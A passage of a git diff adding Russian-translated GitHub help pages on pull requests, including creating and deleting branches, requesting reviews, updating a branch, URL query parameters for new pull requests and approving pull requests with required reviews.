умолчанию, чтобы вы могли перейти к {% data variables.product.prodname_dotcom %}. + ![Кнопка "Создать запрос на вытягивание"](/assets/images/help/desktop/windows-create-pull-request.png). +3. На {% data variables.product.prodname_dotcom %} убедитесь, что ветвь в раскрывающемся меню **база:**  — это ветвь, в которой требуется выполнить слияние изменения. Убедитесь, что ветвь в раскрывающемся меню **сравнить:**  — это тематическая ветвь, в которой вы внесли изменения. + ![Раскрывающиеся меню для выбора базы и сравнения ветвей](/assets/images/help/desktop/base-and-compare-branches.png) {% data reusables.repositories.pr-title-description %} {% data reusables.repositories.create-pull-request %} + +{% endwindows %} + +{% enddesktop %} + +{% ifversion fpt or ghec %} + +{% codespaces %} + +1. После фиксации изменений в локальной копии репозитория щелкните значок **Создать запрос на вытягивание**. +![Боковая панель управления исходным кодом с выделенной кнопкой подготовки](/assets/images/help/codespaces/codespaces-commit-pr-button.png) +1. Убедитесь в том, что локальная ветвь и репозиторий, из которых выполняется слияние, а также удаленная ветвь и репозиторий, с которыми выполняется слияние, выбраны правильно. Затем задайте для запроса на вытягивание название и описание. +![Боковая панель запроса на вытягивание GitHub](/assets/images/help/codespaces/codespaces-commit-pr.png) +1. Нажмите кнопку **Создать**. + +Дополнительные сведения о создании запросов на вытягивание в {% data variables.product.prodname_github_codespaces %} см. в разделе [Использование {% data variables.product.prodname_github_codespaces %} для запросов на вытягивание](/codespaces/developing-in-codespaces/using-github-codespaces-for-pull-requests). + +{% endcodespaces %} + +{% endif %} +## Дополнительные материалы + +- [Создание запроса на вытягивание из вилки](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork) +- [Синхронизация запроса на вытягивание с базовой ветвью](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch) +- [Изменение базовой ветви запроса на вытягивание](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request) +- [Добавление проблем и запросов на вытягивание на доску проекта из боковой панели](/articles/adding-issues-and-pull-requests-to-a-project-board/#adding-issues-and-pull-requests-to-a-project-board-from-the-sidebar) +- [Сведения об автоматизации проблем и запросов на вытягивание с параметрами запроса](/issues/tracking-your-work-with-issues/creating-issues/about-automation-for-issues-and-pull-requests-with-query-parameters) +- [Назначение проблем и запросов на вытягивание другим пользователям GitHub](/issues/tracking-your-work-with-issues/managing-issues/assigning-issues-and-pull-requests-to-other-github-users) +- [Написание содержимого на GitHub](/github/writing-on-github) diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md new file mode 100644 index 000000000000..8ef0737eacd5 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md @@ -0,0 +1,82 @@ +--- +title: Creating and deleting branches within your repository +intro: 'You can create or delete branches directly on {% data variables.product.product_name %}.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository + - /articles/deleting-branches-in-a-pull-request + - /articles/creating-and-deleting-branches-within-your-repository + - /github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Create & delete branches +--- + +## Creating a branch +You can create a branch in different ways on {% data variables.product.product_name %}. + +{% note %} + +**Note:** You can only create a branch in a repository to which you have push access. + +{% endnote %} + +{% ifversion create-branch-from-overview %} +### Creating a branch via the branches overview +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.navigate-to-branches %} +1. Click **New branch**. + ![Screenshot of branches overview page with new branch button emphasized](/assets/images/help/branches/new-branch-button.png) +2. In the dialog box, enter the branch name and optionally change the branch source. + If the repository is a fork, you also have the option to select the upstream repository as the branch source. + ![Screenshot of branch creation modal for a fork with branch source emphasized](/assets/images/help/branches/branch-creation-popup-branch-source.png) +3. Click **Create branch**. + ![Screenshot of branch creation modal with create branch button emphasized](/assets/images/help/branches/branch-creation-popup-button.png) +{% endif %} + +### Creating a branch using the branch dropdown +{% data reusables.repositories.navigate-to-repo %} +1. Optionally, if you want to create the new branch from a branch other than the default branch of the repository, click {% octicon "git-branch" aria-label="The branch icon" %} **Branches** then choose another branch. + ![Branches link on overview page](/assets/images/help/branches/branches-overview-link.png) +1. Click the branch selector menu. + ![branch selector menu](/assets/images/help/branch/branch-selection-dropdown.png) +1. Type a unique name for your new branch, then select **Create branch**. + ![branch creation text box](/assets/images/help/branch/branch-creation-text-box.png) + +{% ifversion fpt or ghec or ghes > 3.4 %} +### Creating a branch for an issue +You can create a branch to work on an issue directly from the issue page and get started right away. For more information, see "[Creating a branch to work on an issue](/issues/tracking-your-work-with-issues/creating-a-branch-for-an-issue)". +{% endif %} + +## Deleting a branch + +{% data reusables.pull_requests.automatically-delete-branches %} + +{% note %} + +**Note:** If the branch you want to delete is the repository's default branch, you must choose a new default branch before deleting the branch. For more information, see "[Changing the default branch](/github/administering-a-repository/changing-the-default-branch)." + +{% endnote %} + +If the branch you want to delete is associated with an open pull request, you must merge or close the pull request before deleting the branch. For more information, see "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)" or "[Closing a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)." + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.navigate-to-branches %} +1. Scroll to the branch that you want to delete, then click {% octicon "trash" aria-label="The trash icon to delete the branch" %}. + ![delete the branch](/assets/images/help/branches/branches-delete.png) {% ifversion fpt or ghes > 3.5 or ghae > 3.5 or ghec %} +1. If you try to delete a branch that is associated with at least one open pull request, you must confirm that you intend to close the pull request(s). + + ![Confirm deleting a branch](/assets/images/help/branches/confirm-deleting-branch.png){% endif %} + +{% data reusables.pull_requests.retargeted-on-branch-deletion %} +For more information, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#working-with-branches)." + +## Further reading + +- "[About branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)" +- "[Viewing branches in your repository](/github/administering-a-repository/viewing-branches-in-your-repository)" +- "[Deleting and restoring branches in a pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request)" diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md new file mode 100644 index 000000000000..16c95381165f --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md @@ -0,0 +1,36 @@ +--- +title: Предложение изменений в работе с помощью запросов на включение изменений +intro: 'После добавления изменений в ветвь раздела или вилку можно открыть запрос на вытягивание, чтобы попросить участников совместной работы или администратора репозитория просмотреть изменения, прежде чем объединить их в проект.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests + - /articles/proposing-changes-to-your-work-with-pull-requests + - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +children: + - /about-branches + - /creating-and-deleting-branches-within-your-repository + - /about-pull-requests + - /about-comparing-branches-in-pull-requests + - /creating-a-pull-request + - /creating-a-pull-request-from-a-fork + - /using-query-parameters-to-create-a-pull-request + - /changing-the-stage-of-a-pull-request + - /requesting-a-pull-request-review + - /keeping-your-pull-request-in-sync-with-the-base-branch + - /changing-the-base-branch-of-a-pull-request + - /committing-changes-to-a-pull-request-branch-created-from-a-fork +shortTitle: Propose changes +ms.openlocfilehash: 6c13c67b6dd3dcd798274f3cc9ef608a4a8117a5 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145139601' +--- + diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch.md new file mode 100644 index 000000000000..b40883211dce --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch.md @@ -0,0 +1,56 @@ +--- +title: Keeping your pull request in sync with the base branch +intro: 'After you open a pull request, you can update the head branch, which contains your changes, with any changes that have been made in the base branch.' +permissions: People with write permissions to the repository to which the head branch of the pull request belongs can update the head branch with changes that have been made in the base branch. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Update the head branch +--- + +## About keeping your pull request in sync + +Before merging your pull requests, other changes may get merged into the base branch causing your pull request's head branch to be out of sync. Updating your pull request with the latest changes from the base branch can help catch problems prior to merging. + +You can update a pull request's head branch from the command line or the pull request page. The **Update branch** button is displayed when all of these are true: + +* There are no merge conflicts between the pull request branch and the base branch. +* The pull request branch is not up to date with the base branch. +* The base branch requires branches to be up to date before merging{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} or the setting to always suggest updating branches is enabled{% endif %}. + +For more information, see "[Require status checks before merging](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches){% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}" and "[Managing suggestions to update pull request branches](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-suggestions-to-update-pull-request-branches){% endif %}." + +If there are changes to the base branch that cause merge conflicts in your pull request branch, you will not be able to update the branch until all conflicts are resolved. For more information, see "[About merge conflicts](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts)." + +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +From the pull request page you can update your pull request's branch using a traditional merge or by rebasing. A traditional merge results in a merge commit that merges the base branch into the head branch of the pull request. Rebasing applies the changes from _your_ branch onto the latest version of the base branch. The result is a branch with a linear history, since no merge commit is created. +{% else %} +Updating your branch from the pull request page performs a traditional merge. The resulting merge commit merges the base branch into the head branch of the pull request. +{% endif %} + +## Updating your pull request branch + +{% data reusables.repositories.sidebar-pr %} + +1. In the "Pull requests" list, click the pull request you'd like to update. + +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the merge section near the bottom of the page, you can: + - Click **Update branch** to perform a traditional merge. + ![Button to update branch](/assets/images/help/pull_requests/pull-request-update-branch-with-dropdown.png) + - Click the update branch drop down menu, click **Update with rebase**, and then click **Rebase branch** to update by rebasing on the base branch. + ![Drop-down menu showing merge and rebase options](/assets/images/help/pull_requests/pull-request-update-branch-rebase-option.png) +{% else %} +1. In the merge section near the bottom of the page, click **Update branch** to perform a traditional merge. + ![Button to update branch](/assets/images/help/pull_requests/pull-request-update-branch.png) +{% endif %} + +## Further reading + +- "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)" +- "[Changing the stage of a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request)" +- "[Committing changes to a pull request branch created from a fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork)" diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review.md new file mode 100644 index 000000000000..e7c4c4c99559 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review.md @@ -0,0 +1,53 @@ +--- +title: Запрос проверки запроса на вытягивание +intro: 'После создания запроса на вытягивание можно попросить конкретного пользователя проверить предложенные изменения. Если вы являетесь участником организации, вы также можете запросить проверку ваших изменений конкретной командой.' +product: '{% data reusables.gated-features.multiple-pr-reviewers %}' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review + - /articles/requesting-a-pull-request-review + - /github/collaborating-with-issues-and-pull-requests/requesting-a-pull-request-review + - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Request a PR review +ms.openlocfilehash: b7b797d7e9ad2fdf9c1df29e7e5aad66f942b538 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145139593' +--- +Репозитории находятся в личных учетных записях (принадлежат отдельному владельцу) или учетной записи организации (общей учетной записи с многочисленными участниками совместной работы или обслуживающими). Дополнительные сведения см. в разделе [Типы учетных записей {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/types-of-github-accounts). Владельцы и участники совместной работы в репозитории, принадлежащем личной учетной записи, могут назначать проверки запросов на вытягивание. Члены организации с разрешениями на рассмотрение также могут назначить рецензента для запроса на вытягивание. + +Чтобы назначить рецензента для запроса на вытягивание, вам потребуется доступ на запись в репозиторий. Дополнительные сведения о доступе к репозиториям см. в разделе [Роли репозитория для организации](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization). Если у вас есть доступ на запись, вы можете назначить всех, у кого есть доступ на чтение к репозиторию в качестве рецензентов. + +Участники организации с доступом на запись также могут назначить проверку запроса на вытягивание любому пользователю или команде с доступом на чтение к репозиторию. Запрошенный рецензент или команда получат уведомление о том, что вы попросили их проверить запрос на вытягивание. Если запросить проверку у команды при включенном назначении проверки кода, будут запрошены определенные члены команды, а сама команда перестанет быть рецензентом. Дополнительные сведения см. в разделе [Управление параметрами проверки кода для вашей команды](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team). + +{% note %} + +**Примечание.** Авторы запросов на вытягивание не могут запрашивать проверки, если только они не являются владельцем репозитория или участником совместной работы с доступом на запись в репозиторий. + +{% endnote %} + +Вы можете запросить проверку у предложенного или конкретного человека. Предлагаемые рецензенты основаны на [данных git blame](/articles/tracking-changes-in-a-file/). Если вы запросите проверку, другие пользователи с доступом на чтение к репозиторию по-прежнему смогут просмотреть запрос на вытягивание. После проверки запроса на вытягивание и внесения необходимых изменений вы можете повторно запросить проверку тем же рецензентом. Если запрошенный рецензент не отправляет отзыв, а запрос на вытягивание соответствует [требованиям к слиянию](/articles/defining-the-mergeability-of-pull-requests) репозитория, вы по-прежнему можете объединить запрос на вытягивание. + +{% data reusables.repositories.sidebar-pr %} +1. В списке запросов на вытягивание щелкните запрос на вытягивание, проверить который вы хотите запросить у определенного человека или команды. +2. Перейдите в раздел **Рецензенты** на боковой панели справа. +3. Чтобы запросить проверку от предложенного пользователя, в разделе **Рецензенты** рядом с именем пользователя нажмите кнопку **Запросить**. + ![Значок запроса в разделе "Рецензенты" на боковой панели справа](/assets/images/help/pull_requests/request-suggested-review.png) +5. При необходимости, чтобы запросить проверку у другого пользователя, отличного от предлагаемого, нажмите **Рецензенты**, а затем щелкните имя в раскрывающемся меню. + ![Значок шестеренки в разделе "Рецензенты" на боковой панели справа](/assets/images/help/pull_requests/request-a-review-not-suggested.png) +6. Кроме того, если вы знаете имя пользователя или команды, которые должны проверить изменения, нажмите **Рецензенты**, а затем введите имя пользователя или имя команды, которую вы просите проверить изменения. Щелкните имя группы или имя пользователя, чтобы запросить проверку. + ![Поле для ввода имени пользователя рецензента и раскрывающийся список рецензентов](/assets/images/help/pull_requests/choose-pull-request-reviewer.png) +7. После проверки запроса на вытягивание и внесения необходимых изменений можно попросить рецензента повторно проверить запрос на вытягивание. Перейдите в раздел **Рецензенты** на боковой панели справа и щелкните {% octicon "sync" aria-label="The sync icon" %} рядом с именем требуемого рецензента. + ![Значок повторной проверки на боковой панели справа](/assets/images/help/pull_requests/request-re-review.png) + +## Дополнительные материалы + +- [Сведения о проверках запроса на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request.md new file mode 100644 index 000000000000..94196f2315cc --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request.md @@ -0,0 +1,41 @@ +--- +title: Использование параметров запроса для создания запроса на вытягивание +intro: 'Используйте параметры запроса для создания настраиваемых URL-адресов, чтобы открывать запросы на вытягивание с предварительно заполненными полями.' +redirect_from: + - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +ms.openlocfilehash: 89ca4b13ff6291f7b4449d25b3daa911734a22b9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145139590' +--- +Для создания запросов на вытягивание можно использовать параметры запроса. Параметры запроса — это необязательные части URL-адреса, которые можно настроить для совместного использования определенного представления веб-страницы, например результатов поиска с фильтрами или шаблона запроса на вытягивание на {% data variables.product.prodname_dotcom %}. Чтобы создать собственные параметры запроса, необходимо сопоставить пару ключа и значения. + +{% tip %} + +**Совет.** Можно также создавать шаблоны запросов на вытягивание, которые открываются с метками по умолчанию, уполномоченными лицами и заголовком запроса на вытягивание. Дополнительные сведения см. в разделе "[Использование шаблонов для описания важных проблем и выполнения запросов на вытягивание](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)". + +{% endtip %} + +Чтобы использовать эквивалентный параметр запроса, необходимо иметь соответствующие разрешения для любого действия. Например, потребуется разрешение, чтобы добавить метку в запрос на вытягивание для использования параметра запроса `labels`. Дополнительные сведения см. в разделе [Роли репозитория для организации](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization). + +Если вы создадите недопустимый URL-адрес, используя параметры запроса, или если у вас нет соответствующих разрешений, URL-адрес вернет страницу ошибки `404 Not Found`. Если вы создаете URL-адрес, превышающий ограничения сервера, он вернет страницу ошибки `414 URI Too Long`. + +Параметр запроса | Пример +--- | --- +`quick_pull` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1` создает запрос на вытягивание, который сравнивает базовую ветвь `main` и главную ветвь `my-branch`. Запрос `quick_pull=1` открывает страницу "Открыть запрос на вытягивание". +`title` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&labels=bug&title=Bug+fix+report` создает запрос на вытягивание с меткой "ошибка" и заголовком "Исправление ошибок". +`body` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&title=Bug+fix&body=Describe+the+fix.` создает запрос на вытягивание с заголовком "Исправление ошибок" и комментарием "Описание исправления" в тексте запроса на вытягивание. +`labels` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&labels=help+wanted,bug` создает запрос на вытягивание с метками "нужна помощь" и "ошибка". +`milestone` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&milestone=testing+milestones` создает запрос на вытягивание с вехой "вехи проверки". +`assignees` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&assignees=octocat` создает запрос на вытягивание и назначает его @octocat. +`projects` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&title=Bug+fix&projects=octo-org/1` создает запрос на вытягивание с названием "Исправление ошибок" и добавляет его на доску проекта организации 1. +`template` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&template=issue_template.md` создает запрос на вытягивание с шаблоном в тексте запроса на вытягивание. Параметр запроса `template` поддерживает шаблоны, хранящиеся в корневом подкаталоге `PULL_REQUEST_TEMPLATE`, а также в каталогах `docs/` и `.github/` в репозитории. Дополнительные сведения см. в разделе "[Использование шаблонов для описания важных проблем и выполнения запросов на вытягивание](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)". diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews.md new file mode 100644 index 000000000000..c93abdc3d7a8 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews.md @@ -0,0 +1,73 @@ +--- +title: Сведения о проверках запроса на вытягивание +intro: 'Проверки позволяют участникам совместной работы комментировать изменения, предложенные в запросах на включение внесенных изменений, утверждать изменения или создавать запросы на дальнейшие изменения до объединения запросов на включение внесенных изменений. Администраторы репозитория могут требовать утверждения всех запросов на вытягивание перед слиянием.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews + - /articles/about-pull-request-reviews + - /github/collaborating-with-issues-and-pull-requests/about-pull-request-reviews + - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: About PR reviews +ms.openlocfilehash: b68da308dc1e405f2b8fff5b0dd85dadbeabef80 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146179410' +--- +## Сведения о проверках запроса на вытягивание + +После открытия запроса на вытягивание любой пользователь с доступом на *чтение* может просматривать и комментировать предложенные изменения. Вы также можете предложить конкретные изменения в строках кода, которые автор может применить непосредственно из запроса на вытягивание. Дополнительные сведения см. в разделе [Просмотр предлагаемых изменений в запросе на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request). + +{% ifversion pull-request-approval-limit %}{% data reusables.pull_requests.code-review-limits %}{% endif %} + +Владельцы репозитория и участники совместной работы могут запросить проверку запроса на вытягивание у определенного пользователя. Участники организации также могут запросить проверку запроса на вытягивание у команды с доступом на чтение к репозиторию. Дополнительные сведения см. в разделе [Запрос проверки запроса на вытягивание](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review). Вы можете указать подмножество участников команды, которые будут автоматически назначены вместо всей команды. Дополнительные сведения см. в статье [Управление параметрами проверки кода для вашей команды](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team). + +Проверки позволяют обсуждать предлагаемые изменения и помогают гарантировать, что изменения соответствуют рекомендациям по участию в разработке и другим стандартам качества репозитория. Вы можете определить, какие пользователи или команды имеют определенные типы или области кода в файле CODEOWNERS. Когда запрос на вытягивание изменяет код с определенным владельцем, этот пользователь или команда автоматически запрашивается в качестве рецензента. Дополнительные сведения см. в разделе [Сведения о владельцах кода](/articles/about-code-owners/). + +{% ifversion fpt or ghec %}Вы можете запланировать напоминания для запросов на вытягивание, которые необходимо проверить. Дополнительные сведения см. в статье [Управление запланированными напоминаниями для запросов на вытягивание](/github/setting-up-and-managing-organizations-and-teams/managing-scheduled-reminders-for-pull-requests).{% endif %} + +![Заголовок проверки запрашивающего изменения с комментариями к строкам](/assets/images/help/pull_requests/review-header-with-line-comment.png) + +Проверка имеет три возможных состояния: +- **Комментарий.** Отправляет общий отзыв, не утверждая изменения явным образом и не запрашивая дополнительные изменения. +- **Утверждение.** Отправляет отзыв и утверждает слияние изменений, предложенных в запросе на вытягивание. +- **Запрос изменений.** Отправляет отзыв, который необходимо обработать перед слиянием запроса на вытягивание. + +![Изображение состояний проверки](/assets/images/help/pull_requests/pull-request-review-statuses.png) + +{% data reusables.repositories.request-changes-tips %} + +Вы можете просмотреть все проверки запроса на вытягивание, полученные на временной шкале беседы, и можете просмотреть отзывы владельцев репозитория и участников совместной работы в поле слияния запроса на вытягивание. + +![Изображение проверок в поле слияния](/assets/images/help/pull_requests/merge_box/pr-reviews-in-merge-box.png) + +{% data reusables.search.requested_reviews_search_tip %} + +{% data reusables.pull_requests.resolving-conversations %} + +## Повторная отправка запроса на проверку + +{% data reusables.pull_requests.re-request-review %} + +## Обязательные проверки + +{% data reusables.pull_requests.required-reviews-for-prs-summary %} Дополнительные сведения см. в статье [Сведения о защищенных ветвях](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging). + +{% tip %} + +**Совет.** При необходимости пользователи с доступом *администратора* или доступом на *запись* в репозитории могут закрыть проверку запроса на вытягивание. Дополнительные сведения см. в разделе [Пропуск проверки запроса на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review). + +{% endtip %} + +## Дополнительные материалы + +- [Просмотр предлагаемых изменений в запросе на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request) +- [Просмотр проверки запроса на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review) +- "[Создание рекомендаций для участников репозитория](/articles/setting-guidelines-for-repository-contributors)" diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews.md new file mode 100644 index 000000000000..0e33729a9e20 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews.md @@ -0,0 +1,47 @@ +--- +title: Утверждение запроса на вытягивание с необходимыми проверками +intro: 'Если для репозитория требуются проверки, запросы на вытягивание должны содержать определенное количество утверждений от пользователей с разрешениями _на запись_ или разрешениями _администратора_ для репозитория, прежде чем их можно будет объединить.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews + - /articles/approving-a-pull-request-with-required-reviews + - /github/collaborating-with-issues-and-pull-requests/approving-a-pull-request-with-required-reviews + - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Required reviews +ms.openlocfilehash: 4554ac9e9b9d0c0f184e0b6b60e732806d2f4a17 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145139574' +--- +Дополнительные сведения о необходимых проверках см. в разделе"[Сведения о защищенных ветвях](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging). + +Вы можете закомментировать запрос на вытягивание, утвердить изменения или запросить улучшения перед утверждением. Дополнительные сведения см. в разделе [Просмотр предлагаемых изменений в запросе на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request). + +{% data reusables.search.requested_reviews_search %} + +{% tip %} + +**Совет.** Если утвержденный запрос на вытягивание значительно изменился, вы можете закрыть проверку. Перед объединением запроса на вытягивание потребуется новая проверка. Дополнительные сведения см. в разделе [Пропуск проверки запроса на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review). + +{% endtip %} + +{% data reusables.repositories.sidebar-pr %} {% data reusables.repositories.choose-pr-review %} {% data reusables.repositories.changed-files %} +4. Просмотрите изменения в запросе на вытягивание и при необходимости [закомментируйте конкретные строки](/articles/reviewing-proposed-changes-in-a-pull-request/#starting-a-review). +{% data reusables.repositories.review-changes %} {% data reusables.repositories.review-summary-comment %} +7. Выберите **Утвердить**, чтобы утвердить объединение изменений, предложенных в запросе на вытягивание. +{% data reusables.repositories.submit-review %} + +{% data reusables.repositories.request-changes-tips %} + +## Дополнительные материалы + +- [Просмотр предлагаемых изменений в запросе на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request) +- [Комментирование запроса на вытягивание](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request) diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md new file mode 100644 index 